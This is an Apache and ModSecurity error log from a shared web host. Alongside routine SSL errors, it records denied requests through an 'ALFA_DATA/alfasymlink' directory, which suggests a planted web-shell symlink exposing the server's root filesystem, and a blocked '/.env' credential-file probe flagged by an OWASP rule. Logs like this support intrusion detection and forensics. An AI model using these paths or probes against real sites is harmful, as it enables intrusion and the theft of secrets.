[Mon Oct 26 18:53:22.299884 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.221.227.90:28149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:53:26.394561 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.231.156.59:21438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:53:42.381079 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 107.20.224.184:16007] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:53:46.540433 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.216.13.10:3831] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:53:48.396634 2026] [security2:error] [pid 3089355:tid 3089355] [client 177.155.124.99:54660] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at_Z_Gl9busrkyxI7OQX8AAAAAI"], referer: https://five.co.in/redirect.php?ref_host=indicedelapenuriedemaindoeuvre.ch
[Mon Oct 26 18:53:48.398173 2026] [authz_core:error] [pid 3089355:tid 3089355] [client 177.155.124.99:54660] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://five.co.in/redirect.php?ref_host=indicedelapenuriedemaindoeuvre.ch
[Mon Oct 26 18:53:58.736018 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.204.37.237:55203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:54:12.882292 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 185.191.171.19:47124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/sm-notify.pid
[Mon Oct 26 18:54:18.345383 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 34.194.95.99:26335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:54:26.450229 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.218.170.184:18441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:54:32.997745 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.3:31766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/total_objects
[Mon Oct 26 18:54:34.705440 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 54.84.93.8:15045] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:54:38.342006 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 52.4.238.8:42036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/button/uevent
[Mon Oct 26 18:54:46.461186 2026] [security2:error] [pid 3098113:tid 3098113] [client 23.21.179.120:47882] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:19/subsystem/"] [unique_id "at_aNrHarSgES5WqcDhHnwAAAAU"]
[Mon Oct 26 18:54:46.461246 2026] [security2:error] [pid 3098113:tid 3098113] [client 23.21.179.120:47882] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:19/subsystem/"] [unique_id "at_aNrHarSgES5WqcDhHnwAAAAU"]
[Mon Oct 26 18:54:51.626334 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.84.93.8:21605] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:54:54.726864 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.218.103.254:61478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:54:58.375653 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.216.227.216:47214] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:54:58.912277 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 185.191.171.3:47910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:55:02.637101 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.222.85.38:38563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:55:06.531415 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.223.193.255:13266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:55:18.452821 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.225.9.97:45145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:55:26.487895 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 98.82.40.168:4014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:55:38.434076 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.206.193.60:20252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:55:50.550369 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 54.85.109.140:25371] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/slabs_cpu_partial
[Mon Oct 26 18:55:59.702022 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 85.208.96.210:42350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/usersize
[Mon Oct 26 18:56:02.954696 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 184.73.68.20:18066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:56:14.691147 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 34.202.88.37:52078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/firmware_node/subsystem/drivers/ac/unbind
[Mon Oct 26 18:56:18.876012 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.236.185.101:50958] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:56:27.234433 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 185.191.171.12:43962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:56:30.624187 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 54.210.155.69:9231] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/firmware_node/subsystem/devices/device:09/subsystem/uevent
[Mon Oct 26 18:56:39.062301 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.203.237.170:59112] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:56:41.648055 2026] [security2:error] [pid 3106856:tid 3106856] [client 43.166.250.187:50132] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at_aqTDkl-Y9NiWKcXVXAQAAAAA"]
[Mon Oct 26 18:56:41.650344 2026] [authz_core:error] [pid 3106856:tid 3106856] [client 43.166.250.187:50132] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 18:56:42.585441 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 23.21.250.48:50557] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:56:46.568103 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 3.222.85.38:42832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/subsystem/mouse1/device/device/driver/serio1/drvctl
[Mon Oct 26 18:56:50.649436 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 98.83.177.42:10312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:56:54.723337 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 52.44.148.203:46147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/unbind
[Mon Oct 26 18:56:58.683110 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.226.89.140:65462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:57:08.015353 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 184.73.167.217:4982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:57:14.698803 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.218.35.239:42540] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:57:18.699201 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.210.223.61:31287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:57:22.695938 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 34.226.89.140:28126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:57:38.923983 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.208.193.63:6263] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:57:46.646429 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.4.238.8:42370] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:57:56.494336 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.9:51338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/alloc_calls
[Mon Oct 26 18:58:02.795499 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.204.37.237:21725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:58:15.001684 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.221.156.96:26415] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:58:22.726215 2026] [security2:error] [pid 3106856:tid 3106856] [client 54.235.172.96:41478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/slots/20/module/parameters/"] [unique_id "at_bDjDkl-Y9NiWKcXVXBQAAAAA"]
[Mon Oct 26 18:58:22.726254 2026] [security2:error] [pid 3106856:tid 3106856] [client 54.235.172.96:41478] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/slots/20/module/parameters/"] [unique_id "at_bDjDkl-Y9NiWKcXVXBQAAAAA"]
[Mon Oct 26 18:58:30.673175 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 100.27.153.9:23954] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:58:42.857411 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.70.209.13:25732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:58:46.777479 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 3.232.39.98:64501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:58:50.923530 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.226.89.140:26910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:02.848714 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.45.92.83:11720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:06.890005 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.7.33.248:63195] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:04.0/resource4_wc
[Mon Oct 26 18:59:10.917339 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.227.180.70:62548] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:14.831603 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.202.233.37:18937] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:24.110858 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 50.19.102.70:65154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:26.842035 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 18.232.36.1:33461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:31.015677 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.222.85.38:26473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:34.836262 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 18.213.27.222:46118] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:38.945573 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.222.190.107:59917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:42.753212 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.0.105.244:53339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:46.788601 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.215.210.112:11539] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:51.090562 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.0.41.164:15558] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:59:58.773905 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 34.196.237.236:11746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/uartclk
[Mon Oct 26 19:00:14.979798 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.201.155.215:40545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:00:19.505280 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 185.191.171.17:18060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/slabs
[Mon Oct 26 19:00:42.966059 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.147.182.90:32416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:00:50.911002 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 23.23.213.182:49242] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:00:52.860528 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 85.208.96.193:28842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/objs_per_slab
[Mon Oct 26 19:00:58.941998 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.200.142.199:54361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:01:07.176394 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.231.118.144:50319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:01:14.969591 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 50.19.79.213:9642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:01:16.267430 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 185.191.171.12:29568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/remote_node_defrag_ratio
[Mon Oct 26 19:01:18.944163 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.220.70.171:29107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:01:26.938799 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.212.219.113:36795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:01:39.117661 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.2.58.41:56990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:01:51.059997 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.209.187.99:64591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:07.108466 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 98.84.131.195:45598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:11.184918 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.200.54.136:46534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:15.406174 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.212.219.113:18473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:19.424029 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 54.235.172.96:1140] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:23.063641 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 54.84.169.196:9131] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rom
[Mon Oct 26 19:02:27.267462 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.28.44.58:43089] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:31.156497 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.1.157.90:9996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:35.281282 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.147.182.90:3950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:39.120124 2026] [security2:error] [pid 3113375:tid 3113375] [client 52.71.46.142:64808] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/lib64/llvm17/"] [unique_id "at_cD7FVcNHq_I-IXO77rQAAAAM"]
[Mon Oct 26 19:02:39.120158 2026] [security2:error] [pid 3113375:tid 3113375] [client 52.71.46.142:64808] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/lib64/llvm17/"] [unique_id "at_cD7FVcNHq_I-IXO77rQAAAAM"]
[Mon Oct 26 19:02:43.561120 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.215.112.101:59420] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:02:47.633722 2026] [ssl:error] [pid 3098116:tid 3098116] (5)Input/output error: [client 54.157.84.74:2582] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:03:03.342476 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 107.20.181.148:40496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:03:12.767768 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 185.191.171.1:10962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_tables/sections/__ksymtab_gpl
[Mon Oct 26 19:03:15.398204 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.4.213.199:34427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:03:20.442082 2026] [security2:error] [pid 3106856:tid 3106856] [client 107.172.76.131:56761] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_cLTDkl-Y9NiWKcXVXFgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 19:03:20.442120 2026] [security2:error] [pid 3106856:tid 3106856] [client 107.172.76.131:56761] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_cLTDkl-Y9NiWKcXVXFgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 19:03:42.932669 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.4:56802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/min_partial
[Mon Oct 26 19:03:47.712315 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.3.156.186:5016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:03:51.675611 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 18.213.27.222:28794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ptmx/subsystem/ttyS3/device/tty/ttyS1/close_delay
[Mon Oct 26 19:03:55.781261 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.232.102.111:1218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:03:59.437926 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.205.222.214:57063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:04:03.455308 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.84.131.195:59511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:04:07.568066 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 44.221.227.90:2576] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:04:12.871101 2026] [core:crit] [pid 3098113:tid 3098113] (13)Permission denied: [client 66.132.159.120:36980] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 19:04:14.870680 2026] [core:crit] [pid 3083765:tid 3083765] (13)Permission denied: [client 66.132.159.120:36990] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 19:04:15.410274 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 44.209.187.99:47473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:04:19.499186 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.9:16340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/total_objects
[Mon Oct 26 19:04:23.433921 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.94.199.128:34335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:04:23.434121 2026] [security2:error] [pid 3098114:tid 3098114] [client 3.94.199.128:34335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mice/subsystem/input1/input1::capslock/uevent"] [unique_id "at_cd4U8RArHmY5bTmWuJQAAAAY"]
[Mon Oct 26 19:04:23.434154 2026] [security2:error] [pid 3098114:tid 3098114] [client 3.94.199.128:34335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mice/subsystem/input1/input1::capslock/uevent"] [unique_id "at_cd4U8RArHmY5bTmWuJQAAAAY"]
[Mon Oct 26 19:04:43.515559 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.83.177.42:49076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:04:44.149972 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 85.208.96.196:38212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:04:47.435562 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 44.214.19.8:61973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/driver/bind
[Mon Oct 26 19:04:48.831340 2026] [security2:error] [pid 3098116:tid 3098116] [client 130.12.180.163:57558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_ckDS1e-yu7xYT1dr7HwAAAAk"]
[Mon Oct 26 19:04:48.831576 2026] [security2:error] [pid 3098116:tid 3098116] [client 130.12.180.163:57558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_ckDS1e-yu7xYT1dr7HwAAAAk"]
[Mon Oct 26 19:04:48.831872 2026] [security2:error] [pid 3098116:tid 3098116] [client 130.12.180.163:57558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_ckDS1e-yu7xYT1dr7HwAAAAk"]
[Mon Oct 26 19:04:54.735413 2026] [authz_core:error] [pid 3084023:tid 3084023] [client 209.99.187.157:44220] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 19:04:55.054418 2026] [authz_core:error] [pid 3098114:tid 3098114] [client 209.99.187.157:45552] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
